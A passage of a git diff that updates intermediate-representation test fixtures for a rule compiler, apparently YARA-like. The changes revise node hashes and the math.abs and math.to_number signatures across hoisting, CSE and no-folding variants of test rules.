1, ty: integer, index: 5 }, type_value: integer(unknown) } - 6: FN_CALL math.abs@x:i@i -- hash: 0x8fe1d7c818e3e998 + 6: FN_CALL math.abs@x:i64@i64u -- hash: 0xbfc2bcdafd95bcef 5: CONST integer(1) RULE test_5 - 8: NOT -- hash: 0xa58862c7f168fe46 - 7: FOR_IN -- hash: 0x33ea248cbadf6b9 + 8: NOT -- hash: 0x7dea9a46efd099e + 7: FOR_IN -- hash: 0x6594e92545420210 n: Var { frame_id: 1, ty: integer, index: 0 } i: Var { frame_id: 1, ty: integer, index: 1 } max_count: Var { frame_id: 1, ty: integer, index: 2 } @@ -81,16 +81,16 @@ RULE test_5 item: Var { frame_id: 1, ty: unknown, index: 4 } 0: CONST integer(1) 1: CONST integer(2) - 6: EQ -- hash: 0xba743229e1c9a9c + 6: EQ -- hash: 0x5eb9859fa08534bc 2: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } - 5: FN_CALL math.abs@x:i@i -- hash: 0x8fe1d7c818e3e998 + 5: FN_CALL math.abs@x:i64@i64u -- hash: 0xbfc2bcdafd95bcef 4: CONST integer(1) RULE test_6 - 10: OF -- hash: 0x24cc8e76ae19e17f + 10: OF -- hash: 0x6451bea965252855 0: CONST integer(1) 9: CONST boolean(true) - 8: FOR_IN -- hash: 0x6ed2fae041710947 + 8: FOR_IN -- hash: 0xd12941bcbf05149e n: Var { frame_id: 2, ty: integer, index: 5 } i: Var { frame_id: 2, ty: integer, index: 6 } max_count: Var { frame_id: 2, ty: integer, index: 7 } @@ -98,15 +98,15 @@ RULE test_6 item: Var { frame_id: 2, ty: unknown, index: 9 } 1: CONST integer(1) 2: CONST integer(2) - 7: EQ -- hash: 0x773b9bba17dfad2a + 7: EQ -- hash: 0xca4dde371a48474a 3: SYMBOL Var { var: Var { frame_id: 2, ty: integer, index: 10 }, type_value: integer(unknown) } - 6: FN_CALL math.abs@x:i@i -- hash: 0x8fe1d7c818e3e998 + 6: FN_CALL math.abs@x:i64@i64u -- hash: 0xbfc2bcdafd95bcef 5: CONST integer(1) RULE test_7 - 11: EQ -- hash: 0x3dae225ca107ebac - 9: FN_CALL math.to_number@b:b@i -- hash: 0xdcca860b2fe0bb09 - 8: FOR_IN -- hash: 0x33ea248cbadf6b9 + 11: EQ -- hash: 0xf6f614be3068517f + 9: FN_CALL math.to_number@b:b@i64 -- hash: 0x31b89be1211ab3f4 + 8: FOR_IN -- hash: 0x6594e92545420210 n: Var { frame_id: 1, ty: integer, index: 0 } i: Var { frame_id: 1, ty: integer, index: 1 } max_count: Var { frame_id: 1, ty: integer, index: 2 } @@ -114,15 +114,15 @@ RULE test_7 item: Var { frame_id: 1, ty: unknown, index: 4 } 1: CONST integer(1) 2: CONST integer(2) - 7: EQ -- hash: 0xba743229e1c9a9c + 7: EQ -- hash: 0x5eb9859fa08534bc 3: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } - 6: FN_CALL math.abs@x:i@i -- hash: 0x8fe1d7c818e3e998 + 6: FN_CALL math.abs@x:i64@i64u -- hash: 0xbfc2bcdafd95bcef 5: CONST integer(1) 10: CONST integer(1) RULE test_8 - 8: DEFINED -- hash: 0x27daaa3b4b5e6f93 - 7: FOR_IN -- hash: 0x33ea248cbadf6b9 + 8: DEFINED -- hash: 0x1357f31467de9921 + 7: FOR_IN -- hash: 0x6594e92545420210 n: Var { frame_id: 1, ty: integer, index: 0 } i: Var { frame_id: 1, ty: integer, index: 1 } max_count: Var { frame_id: 1, ty: integer, index: 2 } @@ -130,8 +130,8 @@ RULE test_8 item: Var { frame_id: 1, ty: unknown, index: 4 } 0: CONST integer(1) 1: CONST integer(2) - 6: EQ -- hash: 0xba743229e1c9a9c + 6: EQ -- hash: 0x5eb9859fa08534bc 2: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } - 5: FN_CALL math.abs@x:i@i -- hash: 0x8fe1d7c818e3e998 + 5: FN_CALL math.abs@x:i64@i64u -- hash: 0xbfc2bcdafd95bcef 4: CONST integer(1) diff --git a/lib/src/compiler/ir/tests/testdata/16.hoisting.ir b/lib/src/compiler/ir/tests/testdata/16.hoisting.ir index 5bf3da52e..97ed96ec5 100644 --- a/lib/src/compiler/ir/tests/testdata/16.hoisting.ir +++ b/lib/src/compiler/ir/tests/testdata/16.hoisting.ir @@ -1,5 +1,5 @@ RULE test_1 - 10: FOR_IN -- hash: 0xf0de15212626240d + 10: FOR_IN -- hash: 0x8ae4cdc13efbff6 n: Var { frame_id: 1, ty: integer, index: 0 } i: Var { frame_id: 1, ty: integer, index: 1 } max_count: Var { frame_id: 1, ty: integer, index: 2 } @@ -7,11 +7,11 @@ RULE test_1 item: Var { frame_id: 1, ty: unknown, index: 4 } 0: CONST integer(1) 1: CONST integer(2) - 12: WITH -- hash: 0x92d04716bb2575d0 - 11: ADD -- hash: 0x8c4973b1fbd58946 + 12: WITH -- hash: 0x97156c73ad9236c2 + 11: ADD -- hash: 0xe11c89637558fca3 5: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 6: CONST integer(1) - 9: FOR_IN -- hash: 0x841c4369b9d14bf7 + 9: FOR_IN -- hash: 0xb424c04db0ea62c3 n: Var { frame_id: 2, ty: integer, index: 8 } i: Var { frame_id: 2, ty: integer, index: 9 } max_count: Var { frame_id: 2, ty: integer, index: 10 } @@ -19,21 +19,21 @@ RULE test_1 item: Var { frame_id: 2, ty: unknown, index: 12 } 2: CONST integer(1) 3: CONST integer(2) - 8: EQ -- hash: 0x2645e81ead56f981 + 8: EQ -- hash: 0xd6b1738c6e2a3d8c 4: SYMBOL Var { var: Var { frame_id: 2, ty: integer, index: 13 }, type_value: integer(unknown) } 7: SYMBOL Var { var: Var { frame_id: 0, ty: integer, index: 7 }, type_value: integer(unknown) } RULE test_2 - 8: FOR_OF -- hash: 0xfc7c823bf3d2e50 + 8: FOR_OF -- hash: 0x185fd44479a4509c n: Var { frame_id: 1, ty: integer, index: 0 } i: Var { frame_id: 1, ty: integer, index: 1 } max_count: Var { frame_id: 1, ty: integer, index: 2 } count: Var { frame_id: 1, ty: integer, index: 3 } item: Var { frame_id: 1, ty: integer, index: 4 } - 10: WITH -- hash: 0x292eb9310b1059ca - 9: FN_CALL math.abs@x:i@i -- hash: 0x8fe1d7c818e3e998 + 10: WITH -- hash: 0xa2b1af6925917c3e + 9: FN_CALL math.abs@x:i64@i64u -- hash: 0xbfc2bcdafd95bcef 4: CONST integer(1) - 7: FOR_IN -- hash: 0x88da6dcf4a806eda + 7: FOR_IN -- hash: 0xb8e2eab3419985a6 n: Var { frame_id: 2, ty: integer, index: 6 } i: Var { frame_id: 2, ty: integer, index: 7 } max_count: Var { frame_id: 2, ty: integer, index: 8 } @@ -41,16 +41,16 @@ RULE test_2 item: Var { frame_id: 2, ty: unknown, index: 10 } 0: CONST integer(1) 1: CONST integer(2) - 6: EQ -- hash: 0x2b0412843e061c64 + 6: EQ -- hash: 0xdb6f9df1fed9606f 2: SYMBOL Var { var: Var { frame_id: 2, ty: integer, index: 11 }, type_value: integer(unknown) } 5: SYMBOL Var { var: Var { frame_id: 0, ty: integer, index: 5 }, type_value: integer(unknown) } RULE test_3 - 9: AND -- hash: 0x368be42e0979068b - 11: WITH -- hash: 0x87e6897f6e291aed - 10: FN_CALL math.abs@x:i@i -- hash: 0x8fe1d7c818e3e998 + 9: AND -- hash: 0xb00eda6627fa28ff + 11: WITH -- hash: 0x1697fb788aa3d62 + 10: FN_CALL math.abs@x:i64@i64u -- hash: 0xbfc2bcdafd95bcef 5: CONST integer(1) - 8: FOR_IN -- hash: 0xe7923e1dad992ffd + 8: FOR_IN -- hash: 0x179abb01a4b246ca n: Var { frame_id: 1, ty: integer, index: 1 } i: Var { frame_id: 1, ty: integer, index: 2 } max_count: Var { frame_id: 1, ty: integer, index: 3 } @@ -58,16 +58,16 @@ RULE test_3 item: Var { frame_id: 1, ty: unknown, index: 5 } 1: CONST integer(1) 2: CONST integer(2) - 7: EQ -- hash: 0x89bbe2d2a11edd87 + 7: EQ -- hash: 0x3a276e4061f22193 3: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 6 }, type_value: integer(unknown) } 6: SYMBOL Var { var: Var { frame_id: 0, ty: integer, index: 0 }, type_value: integer(unknown) } RULE test_4 - 9: OR -- hash: 0x70c302683e93aa6a - 11: WITH -- hash: 0x87e6897f6e291aed - 10: FN_CALL math.abs@x:i@i -- hash: 0x8fe1d7c818e3e998 + 9: OR -- hash: 0xea45f8a05914ccde + 11: WITH -- hash: 0x1697fb788aa3d62 + 10: FN_CALL math.abs@x:i64@i64u -- hash: 0xbfc2bcdafd95bcef 5: CONST integer(1) - 8: FOR_IN -- hash: 0xe7923e1dad992ffd + 8: FOR_IN -- hash: 0x179abb01a4b246ca n: Var { frame_id: 1, ty: integer, index: 1 } i: Var { frame_id: 1, ty: integer, index: 2 } max_count: Var { frame_id: 1, ty: integer, index: 3 } @@ -75,16 +75,16 @@ RULE test_4 item: Var { frame_id: 1, ty: unknown, index: 5 } 1: CONST integer(1) 2: CONST integer(2) - 7: EQ -- hash: 0x89bbe2d2a11edd87 + 7: EQ -- hash: 0x3a276e4061f22193 3: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 6 }, type_value: integer(unknown) } 6: SYMBOL Var { var: Var { frame_id: 0, ty: integer, index: 0 }, type_value: integer(unknown) } RULE test_5 - 8: NOT -- hash: 0xfc54c5f3d45e62ab - 10: WITH -- hash: 0x87e6897f6e291aed - 9: FN_CALL math.abs@x:i@i -- hash: 0x8fe1d7c818e3e998 + 8: NOT -- hash: 0x75d7bc2bf2df8520 + 10: WITH -- hash: 0x1697fb788aa3d62 + 9: FN_CALL math.abs@x:i64@i64u -- hash: 0xbfc2bcdafd95bcef 4: CONST integer(1) - 7: FOR_IN -- hash: 0xe7923e1dad992ffd + 7: FOR_IN -- hash: 0x179abb01a4b246ca n: Var { frame_id: 1, ty: integer, index: 1 } i: Var { frame_id: 1, ty: integer, index: 2 } max_count: Var { frame_id: 1, ty: integer, index: 3 } @@ -92,18 +92,18 @@ RULE test_5 item: Var { frame_id: 1, ty: unknown, index: 5 } 0: CONST integer(1) 1: CONST integer(2) - 6: EQ -- hash: 0x89bbe2d2a11edd87 + 6: EQ -- hash: 0x3a276e4061f22193 2: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 6 }, type_value: integer(unknown) } 5: SYMBOL Var { var: Var { frame_id: 0, ty: integer, index: 0 }, type_value: integer(unknown) } RULE test_6 - 10: OF -- hash: 0xb2e61e7cd7d603ab + 10: OF -- hash: 0xb0d69bf70cc1dfac 0: CONST integer(1) 9: CONST boolean(true) - 12: WITH -- hash: 0x292eb9310b1059ca - 11: FN_CALL math.abs@x:i@i -- hash: 0x8fe1d7c818e3e998 + 12: WITH -- hash: 0xa2b1af6925917c3e + 11: FN_CALL math.abs@x:i64@i64u -- hash: 0xbfc2bcdafd95bcef 5: CONST integer(1) - 8: FOR_IN -- hash: 0x88da6dcf4a806eda + 8: FOR_IN -- hash: 0xb8e2eab3419985a6 n: Var { frame_id: 2, ty: integer, index: 6 } i: Var { frame_id: 2, ty: integer, index: 7 } max_count: Var { frame_id: 2, ty: integer, index: 8 } @@ -111,17 +111,17 @@ RULE test_6 item: Var { frame_id: 2, ty: unknown, index: 10 } 1: CONST integer(1) 2: CONST integer(2) - 7: EQ -- hash: 0x2b0412843e061c64 + 7: EQ -- hash: 0xdb6f9df1fed9606f 3: SYMBOL Var { var: Var { frame_id: 2, ty: integer, index: 11 }, type_value: integer(unknown) } 6: SYMBOL Var { var: Var { frame_id: 0, ty: integer, index: 5 }, type_value: integer(unknown) } RULE test_7 - 11: EQ -- hash: 0x2f1b62e477b4c5b - 9: FN_CALL math.to_number@b:b@i -- hash: 0x70da20af1e6f5a7 - 13: WITH -- hash: 0x87e6897f6e291aed - 12: FN_CALL math.abs@x:i@i -- hash: 0x8fe1d7c818e3e998 + 11: EQ -- hash: 0x4df6e5853771851b + 9: FN_CALL math.to_number@b:b@i64 -- hash: 0xb04a60fc479d0494 + 13: WITH -- hash: 0x1697fb788aa3d62 + 12: FN_CALL math.abs@x:i64@i64u -- hash: 0xbfc2bcdafd95bcef 5: CONST integer(1) - 8: FOR_IN -- hash: 0xe7923e1dad992ffd + 8: FOR_IN -- hash: 0x179abb01a4b246ca n: Var { frame_id: 1, ty: integer, index: 1 } i: Var { frame_id: 1, ty: integer, index: 2 } max_count: Var { frame_id: 1, ty: integer, index: 3 } @@ -129,17 +129,17 @@ RULE test_7 item: Var { frame_id: 1, ty: unknown, index: 5 } 1: CONST integer(1) 2: CONST integer(2) - 7: EQ -- hash: 0x89bbe2d2a11edd87 + 7: EQ -- hash: 0x3a276e4061f22193 3: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 6 }, type_value: integer(unknown) } 6: SYMBOL Var { var: Var { frame_id: 0, ty: integer, index: 0 }, type_value: integer(unknown) } 10: CONST integer(1) RULE test_8 - 8: DEFINED -- hash: 0xceca50c5ed7d96d4 - 10: WITH -- hash: 0x87e6897f6e291aed - 9: FN_CALL math.abs@x:i@i -- hash: 0x8fe1d7c818e3e998 + 8: DEFINED -- hash: 0x1a0638cfa8d3d843 + 10: WITH -- hash: 0x1697fb788aa3d62 + 9: FN_CALL math.abs@x:i64@i64u -- hash: 0xbfc2bcdafd95bcef 4: CONST integer(1) - 7: FOR_IN -- hash: 0xe7923e1dad992ffd + 7: FOR_IN -- hash: 0x179abb01a4b246ca n: Var { frame_id: 1, ty: integer, index: 1 } i: Var { frame_id: 1, ty: integer, index: 2 } max_count: Var { frame_id: 1, ty: integer, index: 3 } @@ -147,7 +147,7 @@ RULE test_8 item: Var { frame_id: 1, ty: unknown, index: 5 } 0: CONST integer(1) 1: CONST integer(2) - 6: EQ -- hash: 0x89bbe2d2a11edd87 + 6: EQ -- hash: 0x3a276e4061f22193 2: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 6 }, type_value: integer(unknown) } 5: SYMBOL Var { var: Var { frame_id: 0, ty: integer, index: 0 }, type_value: integer(unknown) } diff --git a/lib/src/compiler/ir/tests/testdata/16.ir b/lib/src/compiler/ir/tests/testdata/16.ir index 636c23d44..70c25ea2b 100644 --- a/lib/src/compiler/ir/tests/testdata/16.ir +++ b/lib/src/compiler/ir/tests/testdata/16.ir @@ -1,5 +1,5 @@ RULE test_1 - 10: FOR_IN -- hash: 0xd210e99877f4fa84 + 10: FOR_IN -- hash: 0x9f9435af6156a552 n: Var { frame_id: 1, ty: integer, index: 0 } i: Var { frame_id: 1, ty: integer, index: 1 } max_count: Var { frame_id: 1, ty: integer, index: 2 } @@ -7,7 +7,7 @@ RULE test_1 item: Var { frame_id: 1, ty: unknown, index: 4 } 0: CONST integer(1) 1: CONST integer(2) - 9: FOR_IN -- hash: 0x39ccd6c06865e36d + 9: FOR_IN -- hash: 0x86b5becf1eaff038 n: Var { frame_id: 2, ty: integer, index: 7 } i: Var { frame_id: 2, ty: integer, index: 8 } max_count: Var { frame_id: 2, ty: integer, index: 9 } @@ -15,20 +15,20 @@ RULE test_1 item: Var { frame_id: 2, ty: unknown, index: 11 } 2: CONST integer(1) 3: CONST integer(2) - 8: EQ -- hash: 0x209cbc2ded9b10e6 + 8: EQ -- hash: 0xf93e4c9908574543 4: SYMBOL Var { var: Var { frame_id: 2, ty: integer, index: 12 }, type_value: integer(unknown) } - 7: ADD -- hash: 0x8c4973b1fbd58946 + 7: ADD -- hash: 0xe11c89637558fca3 5: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 6: CONST integer(1) RULE test_2 - 8: FOR_OF -- hash: 0xe4a08e7456292b47 + 8: FOR_OF -- hash: 0x6ea44fec73dfdec0 n: Var { frame_id: 1, ty: integer, index: 0 } i: Var { frame_id: 1, ty: integer, index: 1 } max_count: Var { frame_id: 1, ty: integer, index: 2 } count: Var { frame_id: 1, ty: integer, index: 3 } item: Var { frame_id: 1, ty: integer, index: 4 } - 7: FOR_IN -- hash: 0x6ed2fae041710947 + 7: FOR_IN -- hash: 0xd12941bcbf05149e n: Var { frame_id: 2, ty: integer, index: 5 } i: Var { frame_id: 2, ty: integer, index: 6 } max_count: Var { frame_id: 2, ty: integer, index: 7 } @@ -36,14 +36,14 @@ RULE test_2 item: Var { frame_id: 2, ty: unknown, index: 9 } 0: CONST integer(1) 1: CONST integer(2) - 6: EQ -- hash: 0x773b9bba17dfad2a + 6: EQ -- hash: 0xca4dde371a48474a 2: SYMBOL Var { var: Var { frame_id: 2, ty: integer, index: 10 }, type_value: integer(unknown) } - 5: FN_CALL math.abs@x:i@i -- hash: 0x8fe1d7c818e3e998 + 5: FN_CALL math.abs@x:i64@i64u -- hash: 0xbfc2bcdafd95bcef 4: CONST integer(1) RULE test_3 - 9: AND -- hash: 0x76ad43078646820d - 8: FOR_IN -- hash: 0x33ea248cbadf6b9 + 9: AND -- hash: 0xd90389e403da8d64 + 8: FOR_IN -- hash: 0x6594e92545420210 n: Var { frame_id: 1, ty: integer, index: 0 } i: Var { frame_id: 1, ty: integer, index: 1 } max_count: Var { frame_id: 1, ty: integer, index: 2 } @@ -51,14 +51,14 @@ RULE test_3 item: Var { frame_id: 1, ty: unknown, index: 4 } 1: CONST integer(1) 2: CONST integer(2) - 7: EQ -- hash: 0xba743229e1c9a9c + 7: EQ -- hash: 0x5eb9859fa08534bc 3: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } - 6: FN_CALL math.abs@x:i@i -- hash: 0x8fe1d7c818e3e998 + 6: FN_CALL math.abs@x:i64@i64u -- hash: 0xbfc2bcdafd95bcef 5: CONST integer(1) RULE test_4 - 9: OR -- hash: 0x47d223471b2405d4 - 8: FOR_IN -- hash: 0x33ea248cbadf6b9 + 9: OR -- hash: 0xaa286a2394b8112b + 8: FOR_IN -- hash: 0x6594e92545420210 n: Var { frame_id: 1, ty: integer, index: 0 } i: Var { frame_id: 1, ty: integer, index: 1 } max_count: Var { frame_id: 1, ty: integer, index: 2 } @@ -66,14 +66,14 @@ RULE test_4 item: Var { frame_id: 1, ty: unknown, index: 4 } 1: CONST integer(1) 2: CONST integer(2) - 7: EQ -- hash: 0xba743229e1c9a9c + 7: EQ -- hash: 0x5eb9859fa08534bc 3: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } - 6: FN_CALL math.abs@x:i@i -- hash: 0x8fe1d7c818e3e998 + 6: FN_CALL math.abs@x:i64@i64u -- hash: 0xbfc2bcdafd95bcef 5: CONST integer(1) RULE test_5 - 8: NOT -- hash: 0xa58862c7f168fe46 - 7: FOR_IN -- hash: 0x33ea248cbadf6b9 + 8: NOT -- hash: 0x7dea9a46efd099e + 7: FOR_IN -- hash: 0x6594e92545420210 n: Var { frame_id: 1, ty: integer, index: 0 } i: Var { frame_id: 1, ty: integer, index: 1 } max_count: Var { frame_id: 1, ty: integer, index: 2 } @@ -81,16 +81,16 @@ RULE test_5 item: Var { frame_id: 1, ty: unknown, index: 4 } 0: CONST integer(1) 1: CONST integer(2) - 6: EQ -- hash: 0xba743229e1c9a9c + 6: EQ -- hash: 0x5eb9859fa08534bc 2: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } - 5: FN_CALL math.abs@x:i@i -- hash: 0x8fe1d7c818e3e998 + 5: FN_CALL math.abs@x:i64@i64u -- hash: 0xbfc2bcdafd95bcef 4: CONST integer(1) RULE test_6 - 10: OF -- hash: 0x24cc8e76ae19e17f + 10: OF -- hash: 0x6451bea965252855 0: CONST integer(1) 9: CONST boolean(true) - 8: FOR_IN -- hash: 0x6ed2fae041710947 + 8: FOR_IN -- hash: 0xd12941bcbf05149e n: Var { frame_id: 2, ty: integer, index: 5 } i: Var { frame_id: 2, ty: integer, index: 6 } max_count: Var { frame_id: 2, ty: integer, index: 7 } @@ -98,15 +98,15 @@ RULE test_6 item: Var { frame_id: 2, ty: unknown, index: 9 } 1: CONST integer(1) 2: CONST integer(2) - 7: EQ -- hash: 0x773b9bba17dfad2a + 7: EQ -- hash: 0xca4dde371a48474a 3: SYMBOL Var { var: Var { frame_id: 2, ty: integer, index: 10 }, type_value: integer(unknown) } - 6: FN_CALL math.abs@x:i@i -- hash: 0x8fe1d7c818e3e998 + 6: FN_CALL math.abs@x:i64@i64u -- hash: 0xbfc2bcdafd95bcef 5: CONST integer(1) RULE test_7 - 11: EQ -- hash: 0x3dae225ca107ebac - 9: FN_CALL math.to_number@b:b@i -- hash: 0xdcca860b2fe0bb09 - 8: FOR_IN -- hash: 0x33ea248cbadf6b9 + 11: EQ -- hash: 0xf6f614be3068517f + 9: FN_CALL math.to_number@b:b@i64 -- hash: 0x31b89be1211ab3f4 + 8: FOR_IN -- hash: 0x6594e92545420210 n: Var { frame_id: 1, ty: integer, index: 0 } i: Var { frame_id: 1, ty: integer, index: 1 } max_count: Var { frame_id: 1, ty: integer, index: 2 } @@ -114,15 +114,15 @@ RULE test_7 item: Var { frame_id: 1, ty: unknown, index: 4 } 1: CONST integer(1) 2: CONST integer(2) - 7: EQ -- hash: 0xba743229e1c9a9c + 7: EQ -- hash: 0x5eb9859fa08534bc 3: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } - 6: FN_CALL math.abs@x:i@i -- hash: 0x8fe1d7c818e3e998 + 6: FN_CALL math.abs@x:i64@i64u -- hash: 0xbfc2bcdafd95bcef 5: CONST integer(1) 10: CONST integer(1) RULE test_8 - 8: DEFINED -- hash: 0x27daaa3b4b5e6f93 - 7: FOR_IN -- hash: 0x33ea248cbadf6b9 + 8: DEFINED -- hash: 0x1357f31467de9921 + 7: FOR_IN -- hash: 0x6594e92545420210 n: Var { frame_id: 1, ty: integer, index: 0 } i: Var { frame_id: 1, ty: integer, index: 1 } max_count: Var { frame_id: 1, ty: integer, index: 2 } @@ -130,8 +130,8 @@ RULE test_8 item: Var { frame_id: 1, ty: unknown, index: 4 } 0: CONST integer(1) 1: CONST integer(2) - 6: EQ -- hash: 0xba743229e1c9a9c + 6: EQ -- hash: 0x5eb9859fa08534bc 2: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } - 5: FN_CALL math.abs@x:i@i -- hash: 0x8fe1d7c818e3e998 + 5: FN_CALL math.abs@x:i64@i64u -- hash: 0xbfc2bcdafd95bcef 4: CONST integer(1) diff --git a/lib/src/compiler/ir/tests/testdata/16.no-folding.ir b/lib/src/compiler/ir/tests/testdata/16.no-folding.ir new file mode 100644 index 000000000..52dc234bc --- /dev/null +++ b/lib/src/compiler/ir/tests/testdata/16.no-folding.ir @@ -0,0 +1,139 @@ +RULE test_1 + 10: FOR_IN -- hash: 0x9f9435af6156a552 + n: Var { frame_id: 1, ty: integer, index: 0 } + i: Var { frame_id: 1, ty: integer, index: 1 } + max_count: Var { frame_id: 1, ty: integer, index: 2 } + count: Var { frame_id: 1, ty: integer, index: 3 } + item: Var { frame_id: 1, ty: unknown, index: 4 } + 0: CONST integer(1) + 1: CONST integer(2) + 9: FOR_IN -- hash: 0x86b5becf1eaff038 + n: Var { frame_id: 2, ty: integer, index: 7 } + i: Var { frame_id: 2, ty: integer, index: 8 } + max_count: Var { frame_id: 2, ty: integer, index: 9 } + count: Var { frame_id: 2, ty: integer, index: 10 } + item: Var { frame_id: 2, ty: unknown, index: 11 } + 2: CONST integer(1) + 3: CONST integer(2) + 8: EQ -- hash: 0xf93e4c9908574543 + 4: SYMBOL Var { var: Var { frame_id: 2, ty: integer, index: 12 }, type_value: integer(unknown) } + 7: ADD -- hash: 0xe11c89637558fca3 + 5: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 6: CONST integer(1) + +RULE test_2 + 8: FOR_OF -- hash: 0x6ea44fec73dfdec0 + n: Var { frame_id: 1, ty: integer, index: 0 } + i: Var { frame_id: 1, ty: integer, index: 1 } + max_count: Var { frame_id: 1, ty: integer, index: 2 } + count: Var { frame_id: 1, ty: integer, index: 3 } + item: Var { frame_id: 1, ty: integer, index: 4 } + 7: FOR_IN -- hash: 0xd12941bcbf05149e + n: Var { frame_id: 2, ty: integer, index: 5 } + i: Var { frame_id: 2, ty: integer, index: 6 } + max_count: Var { frame_id: 2, ty: integer, index: 7 } + count: Var { frame_id: 2, ty: integer, index: 8 } + item: Var { frame_id: 2, ty: unknown, index: 9 } + 0: CONST integer(1) + 1: CONST integer(2) + 6: EQ -- hash: 0xca4dde371a48474a + 2: SYMBOL Var { var: Var { frame_id: 2, ty: integer, index: 10 }, type_value: integer(unknown) } + 5: FN_CALL math.abs@x:i64@i64u -- hash: 0xbfc2bcdafd95bcef + 4: CONST integer(1) + +RULE test_3 + 9: AND -- hash: 0xec4ea8f54b451078 + 0: CONST boolean(true) + 8: FOR_IN -- hash: 0x6594e92545420210 + n: Var { frame_id: 1, ty: integer, index: 0 } + i: Var { frame_id: 1, ty: integer, index: 1 } + max_count: Var { frame_id: 1, ty: integer, index: 2 } + count: Var { frame_id: 1, ty: integer, index: 3 } + item: Var { frame_id: 1, ty: unknown, index: 4 } + 1: CONST integer(1) + 2: CONST integer(2) + 7: EQ -- hash: 0x5eb9859fa08534bc + 3: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 6: FN_CALL math.abs@x:i64@i64u -- hash: 0xbfc2bcdafd95bcef + 5: CONST integer(1) + +RULE test_4 + 9: OR -- hash: 0x4b5ed8ca0bf29e91 + 0: CONST boolean(false) + 8: FOR_IN -- hash: 0x6594e92545420210 + n: Var { frame_id: 1, ty: integer, index: 0 } + i: Var { frame_id: 1, ty: integer, index: 1 } + max_count: Var { frame_id: 1, ty: integer, index: 2 } + count: Var { frame_id: 1, ty: integer, index: 3 } + item: Var { frame_id: 1, ty: unknown, index: 4 } + 1: CONST integer(1) + 2: CONST integer(2) + 7: EQ -- hash: 0x5eb9859fa08534bc + 3: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 6: FN_CALL math.abs@x:i64@i64u -- hash: 0xbfc2bcdafd95bcef + 5: CONST integer(1) + +RULE test_5 + 8: NOT -- hash: 0x7dea9a46efd099e + 7: FOR_IN -- hash: 0x6594e92545420210 + n: Var { frame_id: 1, ty: integer, index: 0 } + i: Var { frame_id: 1, ty: integer, index: 1 } + max_count: Var { frame_id: 1, ty: integer, index: 2 } + count: Var { frame_id: 1, ty: integer, index: 3 } + item: Var { frame_id: 1, ty: unknown, index: 4 } + 0: CONST integer(1) + 1: CONST integer(2) + 6: EQ -- hash: 0x5eb9859fa08534bc + 2: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 5: FN_CALL math.abs@x:i64@i64u -- hash: 0xbfc2bcdafd95bcef + 4: CONST integer(1) + +RULE test_6 + 10: OF -- hash: 0x6451bea965252855 + 0: CONST integer(1) + 9: CONST boolean(true) + 8: FOR_IN -- hash: 0xd12941bcbf05149e + n: Var { frame_id: 2, ty: integer, index: 5 } + i: Var { frame_id: 2, ty: integer, index: 6 } + max_count: Var { frame_id: 2, ty: integer, index: 7 } + count: Var { frame_id: 2, ty: integer, index: 8 } + item: Var { frame_id: 2, ty: unknown, index: 9 } + 1: CONST integer(1) + 2: CONST integer(2) + 7: EQ -- hash: 0xca4dde371a48474a + 3: SYMBOL Var { var: Var { frame_id: 2, ty: integer, index: 10 }, type_value: integer(unknown) } + 6: FN_CALL math.abs@x:i64@i64u -- hash: 0xbfc2bcdafd95bcef + 5: CONST integer(1) + +RULE test_7 + 11: EQ -- hash: 0xf6f614be3068517f + 9: FN_CALL math.to_number@b:b@i64 -- hash: 0x31b89be1211ab3f4 + 8: FOR_IN -- hash: 0x6594e92545420210 + n: Var { frame_id: 1, ty: integer, index: 0 } + i: Var { frame_id: 1, ty: integer, index: 1 } + max_count: Var { frame_id: 1, ty: integer, index: 2 } + count: Var { frame_id: 1, ty: integer, index: 3 } + item: Var { frame_id: 1, ty: unknown, index: 4 } + 1: CONST integer(1) + 2: CONST integer(2) + 7: EQ -- hash: 0x5eb9859fa08534bc + 3: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 6: FN_CALL math.abs@x:i64@i64u -- hash: 0xbfc2bcdafd95bcef + 5: CONST integer(1) + 10: CONST integer(1) + +RULE test_8 + 8: DEFINED -- hash: 0x1357f31467de9921 + 7: FOR_IN -- hash: 0x6594e92545420210 + n: Var { frame_id: 1, ty: integer, index: 0 } + i: Var { frame_id: 1, ty: integer, index: 1 } + max_count: Var { frame_id: 1, ty: integer, index: 2 } + count: Var { frame_id: 1, ty: integer, index: 3 } + item: Var { frame_id: 1, ty: unknown, index: 4 } + 0: CONST integer(1) + 1: CONST integer(2) + 6: EQ -- hash: 0x5eb9859fa08534bc + 2: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 5: FN_CALL math.abs@x:i64@i64u -- hash: 0xbfc2bcdafd95bcef + 4: CONST integer(1) + diff --git a/lib/src/compiler/ir/tests/testdata/2.cse.ir b/lib/src/compiler/ir/tests/testdata/2.cse.ir index 8ef5c115b..bd350f241 100644 --- a/lib/src/compiler/ir/tests/testdata/2.cse.ir +++ b/lib/src/compiler/ir/tests/testdata/2.cse.ir @@ -1,60 +1,60 @@ RULE test - 42: FOR_IN -- hash: 0x5a8b495d9ca0365f + 42: FOR_IN -- hash: 